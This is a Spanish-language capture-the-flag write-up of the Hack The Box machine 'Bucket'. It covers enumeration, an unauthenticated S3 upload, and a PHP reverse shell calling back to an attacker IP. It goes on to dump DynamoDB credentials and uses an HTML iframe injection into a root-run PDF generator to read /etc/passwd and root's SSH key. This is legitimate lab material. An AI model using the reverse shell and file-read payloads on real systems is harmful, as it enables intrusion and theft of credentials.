This page looks best with JavaScript enabled

Hack The Box - Bucket

 •  ✍️ sckull

Bucket es una maquina de HackTheBox, encontramos un S3 con mala configuracion de autenticacion donde subimos una shell inversa en PHP. Encontramos DynamoDB localmente con credenciales para realizar movimiento lateral. Para la escalada de privilegios aprovechamos que Pd4Cmd genera PDFs con informacion de DynamoDB, en este ultimo insertamos HTML para obtener la clave privada de SSH de root.

Informacion de la Maquina

Nombre Bucket box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.212
Maker

MrR3boot

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 7.1, 4.2, 5.8, 2.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[5, 10, 4, 6, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.91 scan initiated Fri Mar 19 18:25:42 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.212
Warning: 10.10.10.212 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.212 (10.10.10.212)
Host is up (0.094s latency).
Not shown: 40661 closed ports, 24872 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Mar 19 18:26:54 2021 -- 1 IP address (1 host up) scanned in 72.43 seconds
# Nmap 7.91 scan initiated Fri Mar 19 18:27:14 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.212
Nmap scan report for 10.10.10.212 (10.10.10.212)
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 19 18:27:24 2021 -- 1 IP address (1 host up) scanned in 9.80 seconds

HTTP

Al intentar visitar el puerto 80 nos redirigia al dominio bucket.htb el cual agregamos en el archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
HTTP/1.1 302 Found
Date: Sat, 20 Mar 2021 00:03:45 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://bucket.htb/
Content-Length: 280
Content-Type: text/html; charset=iso-8859-1
 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://bucket.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.10.212 Port 80</address>
</body></html>

Al visitar la pagina encontramos una pagina web con una lista de anuncios de “servicios”, cada una de estas estaba listada con una imagen la cual no cargaba. Al revisar el codigo fuente de las imagenes encontramos un sub dominio el cual agregamos nuevamente al archivo /etc/hosts.

GOBUSTER

Realizamos una enumeracion de directorios y archivos en el dominio bucket.htb y s3.bucket.htb.

1
2
3
4
5
#bucket.htb
┌──(kali㉿kali)-[~/htb/bucket]
└─$ gobuster dir -u http://bucket.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q -x php,html,txt,xmlb
/index.html (Status: 200)
/server-status (Status: 403)
1
2
3
4
5
6
#s3.bucket.htb
┌──(kali㉿kali)-[~/htb/bucket]
└─$ gobuster dir -u s3.bucket.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,xml,js -q 
/health (Status: 200)
/shell (Status: 200)
/server-status (Status: 403)

AWS BUCKET

En el dominio “principal” solamente encontramos la pagina estatica. En el subdmominio encontramos dos direcciones, en la primera encontramos que aparentemente estan corriendo ‘s3’ y ‘dynamodb’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
┌──(kali㉿kali)-[~/htb/bucket]
└─$ curl -X GET -s http://s3.bucket.htb/health   
{"services": {"s3": "running", "dynamodb": "running"}}                                                                                                   

──(kali㉿kali)-[~/htb/bucket]
└─$ curl -X GET -s http://s3.bucket.htb/s3       
{"status": "running"}                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/bucket]
└─$ curl -X GET -s http://s3.bucket.htb/dynamodb
{"status": "running"}

Para la segunda direccion fue diferente ya que redirigía hacia otra direccion http://444af250749d:4566/shell/, la cual tiene “disponible” o “permitidos” algunos metodos HTTP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 
Date: Sat, 20 Mar 2021 00:07:29 GMT
Server: hypercorn-h11
content-type: text/html; charset=utf-8
content-length: 0
refresh: 0; url=http://444af250749d:4566/shell/
access-control-allow-origin: *
access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
access-control-allow-headers: authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
access-control-expose-headers: x-amz-version-id

Ingresamos direcciones random y encontramos un mensaje de error, despues de investigar sobre este error encontramos que está relacionado con AWS S3 Buckets.

1
2
3
4
5
6
7
8
#http://s3.bucket.htb/dynamodb/hello
<?xml version="1.0" encoding="UTF-8"?>
<Error>
    <Code>NoSuchBucket</Code>
    <Message>The specified bucket does not exist</Message>
    <BucketName>dynamodb</BucketName>
    <RequestID>7a62c49f-347e-4fc4-9331-6e8eEXAMPLE</RequestID>
</Error>

En el post se especifica que se puede utilizar la API de Amazon S3 o la consola AWS para realizar operaciones de implementacion, creacion y/o subida de objetos a un bucket.

In terms of implementation, buckets and objects are AWS resources, and Amazon S3 provides APIs for you to manage them. For example, you can create a bucket and upload objects using the Amazon S3 API. You can also use the Amazon S3 console to perform these operations. The console uses the Amazon S3 APIs to send requests to Amazon S3.

Tambien encontramos que pueden existir malas configuraciones en un bucket las cuales puedan permitir acceder a informacion en este.

Realizamos la instalacion y configuracion de aws cli, utilizamos la configuracion de ejemplo. Encontramos que existe un bucket llamado adserver y el bucket no está configurado correctamente ya que no solicita ningun tipo de autenticacion o mensaje de acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
──(kali㉿kali)-[~/htb/bucket]
└─$ aws configure       
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2
Default output format [None]: json
                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/bucket]
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb/
2021-03-19 20:31:08 adserver

WWW-DATA - USER

Listamos los permisos del bucket y encontramos que el “usuario” es “webfile” y que tiene permisos FULL_CONTROL del bucket.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/htb/bucket]
└─$ aws s3api get-bucket-acl --bucket adserver --endpoint-url http://s3.bucket.htb
{
    "Owner": {
        "DisplayName": "webfile",
        "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
    },
    "Grants": [
        {
            "Grantee": {
                "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a",
                "Type": "CanonicalUser"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

Al tener este permiso permite al usuario:

Permiso Permite en el Bucket
FULL_CONTROL Allows grantee the READ, WRITE, READ_ACP, and WRITE_ACP permissions on the bucket

De tal forma que podriamos listar los archivos que existen en el bucket.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
┌──(kali㉿kali)-[~/htb/bucket]
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb adserver
                           PRE images/
2021-03-19 20:45:11       5344 index.html

┌──(kali㉿kali)-[~/htb/bucket]
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb adserver/images/ 
2021-03-19 20:53:12      37840 bug.jpg
2021-03-19 20:53:12      51485 cloud.png
2021-03-19 20:53:12      16486 malware.png

Además podemos subir archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/htb/bucket]
└─$ cat me.php                                             
<?php echo "s3 bucket adserver"; ?>

┌──(kali㉿kali)-[~/htb/bucket]                                                                                                                                                                
└─$ aws s3 cp me.php --endpoint-url http://s3.bucket.htb s3://adserver/me.php                                                                                                                 
upload: ./me.php to s3://adserver/me.php

┌──(kali㉿kali)-[~/htb/bucket]                                                                                                                                                       
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb adserver/                                                                                                                                   
                           PRE images/                                                                                                                                                        
2021-03-19 20:57:13       5344 index.html                                                                                                                                                     
2021-03-19 20:57:38         36 me.php                                                                                                                                                         
                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/bucket]                                                                                                                                                                
└─$ curl -s -X GET http://bucket.htb/me.php                                                                                                                                                   
s3 bucket adserver

Sabiendo que podemos subir archivos, subimos una shell inversa con la cual logramos obtener una shell con el usuario www-data.

1
<?php $sock=fsockopen("10.10.14.178",1445);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
┌──(kali㉿kali)-[~/htb/bucket]                                                                                                                                
└─$ nc -lvp 1445                                                                                                                                              
listening on [any] 1445 ...                                                                                                                                   
connect to [10.10.14.178] from bucket.htb [10.10.10.212] 45404                                                                                                
/bin/sh: 0: can't access tty; job control turned off                                                                                                          
$ whoami                                                                                                                                                      
www-data                                                                                                                                                      
$ which python                                                                                                                                                
$ which python3                                                                                                                                               
/usr/bin/python3                                                                                                                                              
$ python3 -c 'import pty; pty.spawn("/bin/bash");'                                                                                                            
www-data@bucket:/var/www/html$ pwd                                                                                                                            
pwd                                                                                                                                                           
/var/www/html

DYNAMODB > USER

Dentro de los procesos encontramos que dynamodb esta siendo ejecutado, además vemos algunos puertos corriendo localmente, ingestigamos acerca del archivo jar especificado en el proceso y encontramos que es dynamodb y que puede ser accedido atraves del cli de aws: AWS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[... REDACTED ...]
root        1758    1688  0 Mar19 ?        00:00:24 java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -sharedDb -port 60571 -inMemo
ry
[... REDACTED ...]

www-data@bucket:/tmp$ netstat -ntpl
netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:46305         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   

Verificamos que aws cli estuviera instalado en la maquina, tambien configuramos nuestras credenciales y nuestra variable $HOME para que aws tuviera permisos de escritura.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
www-data@bucket:/tmp$ which aws
which aws
/usr/bin/aws
www-data@bucket:/tmp$ aws dynamodb list-tables --endpoint-url http://localhost:8000
<db list-tables --endpoint-url http://localhost:8000
You must specify a region. You can also configure your region by running "aws configure".
www-data@bucket:/tmp$ aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE

[... REDACTED ...]

[Errno 13] Permission denied: '/var/www/.aws'
www-data@bucket:/tmp$ export HOME=/dev/shm
export HOME=/dev/shm
www-data@bucket:/tmp$ echo $HOME
echo $HOME
/dev/shm
www-data@bucket:/tmp$ aws configure
aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2
us-west-2
Default output format [None]: json
json
www-data@bucket:/tmp$

Intentamos realizar un query a dynamo localmente a los diferentes puertos con lo que logramos observar las tablas existentes y descripcion, además logramos obtener credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
www-data@bucket:/tmp$ aws dynamodb list-tables --endpoint-url http://localhost:4566
<db list-tables --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}
www-data@bucket:/tmp$ aws dynamodb describe-table --table-name users --endpoint-url http://localhost:4566
<ble-name users --endpoint-url http://localhost:4566
{
    "Table": {
        "AttributeDefinitions": [
            {
                "AttributeName": "username",
                "AttributeType": "S"
            },
            {
                "AttributeName": "password",
                "AttributeType": "S"
            }
        ],
        "TableName": "users",
        "KeySchema": [
            {
                "AttributeName": "username",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "password",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1616193915.52,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 5,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 107,
        "ItemCount": 3,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/users"
    }
}

www-data@bucket:/tmp$ aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
<ble-name users --endpoint-url http://localhost:4566
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
www-data@bucket:/tmp$
1
2
3
Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2

Utilizamos una de las contraseñas para escalar al usuario roy lo cual funcionó, logramos obtener una shell y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@bucket:/tmp$ su roy
su roy
Password: n2vM-<_K_Q:.Aa2

roy@bucket:/tmp$ cd
cd
roy@bucket:~$ ls 
ls 
project  user.txt
roy@bucket:~$ cat user.txt
cat user.txt
8c89a136f4f790b62af13feac9760790
roy@bucket:~$

PRIVILEGE ESCALATION

PSPY

Utilizamos pspy para ver los cronjobs que son ejecutados y observamos que el usuario root elimina archivos en la carpeta de “objetos” del bucket adsever, basicamente restaura archivos y el estado del bucket.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
2021/03/20 01:49:01 CMD: UID=0    PID=819089 | /usr/sbin/CRON -f 
2021/03/20 01:49:01 CMD: UID=0    PID=819088 | rm /var/www/bucket-app/files/* 
2021/03/20 01:49:01 CMD: UID=0    PID=819087 | /bin/sh -c rm /var/www/bucket-app/files/* 
2021/03/20 01:49:01 CMD: UID=0    PID=819086 | /usr/sbin/CRON -f 
2021/03/20 01:49:01 CMD: UID=0    PID=819085 | /usr/sbin/CRON -f 
2021/03/20 01:49:01 CMD: UID=0    PID=819090 | /bin/bash /root/sync.sh 
2021/03/20 01:49:01 CMD: UID=0    PID=819092 | /usr/bin/python3 /usr/bin/aws --endpoint-url=http://localhost:4566 s3 sync s3://adserver/ /root/files/ --exclude *.png --exclude *.jpg 
2021/03/20 01:49:01 CMD: UID=0    PID=819104 | 
2021/03/20 01:49:02 CMD: UID=0    PID=819105 | /usr/bin/python3 /usr/bin/aws --endpoint-url=http://localhost:4566 s3 rm s3://adserver --recursive 
2021/03/20 01:49:02 CMD: UID=0    PID=819106 | /lib/systemd/systemd-udevd 
2021/03/20 01:49:02 CMD: UID=0    PID=819125 | /bin/bash /root/restore.sh 
2021/03/20 01:49:03 CMD: UID=0    PID=819129 | /bin/bash /root/restore.sh 
2021/03/20 01:49:03 CMD: UID=0    PID=819130 | 
2021/03/20 01:49:03 CMD: UID=0    PID=819133 | /usr/bin/python3 /usr/bin/aws --endpoint-url=http://localhost:4566 s3 sync /root/backups/ s3://adserver 
2021/03/20 01:49:04 CMD: UID=0    PID=819134 | 
2021/03/20 01:49:04 CMD: UID=0    PID=819154 | cp -R /root/backups/index.html /var/www/html/ 
2021/03/20 01:49:04 CMD: UID=0    PID=819155 | /usr/bin/php /root/restore.php

DYNAMODB > PD4CMD > SSH ROOT

En los archivos del bucket, al inicio del archivo index.php encontramos que este puede recibir peticiones POST especificamente los datos action=get_alerts lo cual crearía una nueva conexion con DynamoDB y, obtendría los datos de la tabla alerts por titulo (title) y que este ultimo contenga el valor Ransomware, luego, realizaría un for para obtener la informacion individual (fila[data]) con lo que crearía un archivo con un nombre random dentro de la carpeta file/, al finalizar ejecuta pd4ml (html a pdf) para crear un archivo con el nombre result.pdf.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
roy@bucket:/var/www/bucket-app$ cat index.php                                                  
<?php                                                                                          
require 'vendor/autoload.php';                                                                                                                                                                
use Aws\DynamoDb\DynamoDbClient;                                                               
if($_SERVER["REQUEST_METHOD"]==="POST") {                                                      
        if($_POST["action"]==="get_alerts") {

                date_default_timezone_set('America/New_York'); 

                $client = new DynamoDbClient(['profile' => 'default',
                								'region'  => 'us-east-1',
                								'version' => 'latest',
                								'endpoint' => 'http://localhost:4566']);

                $iterator = $client->getIterator('Scan', array('TableName' => 'alerts',
                												'FilterExpression' => "title = :title",
                												'ExpressionAttributeValues' => array( ":title"=>array("S"=>"Ransomware") ), 
                												));
                                                                                               
                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }

                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}else{
?>

Ya que este proceso es ejecutado por el usuario root podriamos aprovecharnos ya que crearia archivos html y estos los “ejecutaria”, en estos archivos podriamos leer archivos utilizando etiquetas como <iframe> u <object>.

Primero debemos de crear la tabla alerts la cual no existe.

1
2
3
4
5
6
aws dynamodb create-table \
	--table-name alerts \
	--attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
    --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
	--provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 \
	--endpoint-url http://localhost:4566 

Ingresamos la informacion a la tabla con nuestro “payload” para lectura del archivo /etc/passwd.

1
2
3
aws dynamodb put-item \
	--table-name alerts  \
	--item '{"title": {"S": "Ransomware"}, "data": {"S": "<html><body><iframe src=/etc/passwd width=1000 height=400 frameborder=0 ></iframe></body></html>"} }'

Copiamos los archivos que se encuentran en /var/www/bucket-app/files/ a nuestra carpeta principal y luego a nuestra maquina, vemos que el archivo pdf logró realizar la lectura del archivo /etc/passwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/htb/bucket]
└─$ pdftotext result.pdf result.txt
                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/bucket]
└─$ cat result.txt 
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/s
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management
:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemdtimesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent
syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM soft
:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin roy:x:1
:/home/roy:/bin/bash

pd4ml evaluation copy. visit http://pd4ml.com

Hay que mencionar que el anterior proceso se realizo de manera rapida y conjunta ya que existe un cron que restaura la carpeta y el bucket, además elimina los archivos creados en /var/www/bucket-app/files/, por lo que se utilizaron dos consolas.

1
2
3
4
5
#CONSOLA 1
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://localhost:4566 && sleep 1 && aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<html><body><iframe src=/etc/passwd width=1000 height=400></iframe></body></html>"} }' --endpoint-url http://localhost:4566

#CONSOLA 2
aws dynamodb scan --table-name alerts --endpoint-url http://localhost:4566 && curl -s -d "action=get_alerts" http://localhost:8000/ && sleep 2 && ls -lah /var/www/bucket-app/files/ && cp /var/www/bucket-app/files/* $HOME/ && sleep 1 && ls -lah

Utilizamos los mismos comandos pero esta vez para obtener la clave privada del usuario root que posiblemente se encuentra en /root/.ssh/id_rsa. Luego de obtener el pdf logramos leer la clave privada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/htb/bucket]
└─$ pdftotext it.pdf it.txt           
                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/bucket]
└─$ cat it.txt    
-----BEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAx6VphKMyxurjldmb6dy1OSn0D9dumFAUCeSoICwhhsq+fadx21SU
bQr/unofKrmgNMAhjmrHCiMapmDw1dcyj4PSPtwo6IvrV0Guyu34Law1Eav9sV1hgzDLm8
[... REDACTED ...]
ZhpVP0sGJN6uKIvg9p4SD6X8JBdwCtTP8AAADBAOBYuz8OdgDKw5OzZxWeBq80+n0yXUeZ
EtZFCf5z4q4laryzqyyPxUEOPTxpABbmnQjOq6clMtTnJhgAf/THSKnsGb8RABLXG/KSAh
pHoTvd81++IRB1+g6GGy0gq/j0Tp+g3e0KLtvr7ZfAtutO8bcDrLjHu6Wqyl1KoleFsv6/
lt0oT70NTv2gFGWAb6WHLEByEsnYQwk5ynbIblaApQSZEyVEPkf9LmO7AEb08lvAOS0dQ1
xMyLerif0cNjmemwAAAAtyb290QHVidW50dQECAwQFBg== -----END OPENSSH PRIVATE KEY-----

pd4ml evaluation copy. visit http://pd4ml.com

Utilizamos firefox para leer y guardar la clave ya que pdftotext no toma la clave privada entera, utilizamos esta ultima para obtener una shell root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Last login: Tue Feb  9 14:39:03 2021
root@bucket:~# whoami;id;pwd;hostname
root
uid=0(root) gid=0(root) groups=0(root)
/root
bucket
root@bucket:~# ls
backups  docker-compose.yml  files  restore.php  restore.sh  root.txt  snap  start.sh  sync.sh
root@bucket:~# cat root.txt
e342e395617f10eadab82946c523be28
root@bucket:~# 
root@bucket:~# 
root@bucket:~# cat /home/roy/user.txt 
693f688d2bcb2488ab3dafaaafc1380a
root@bucket:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe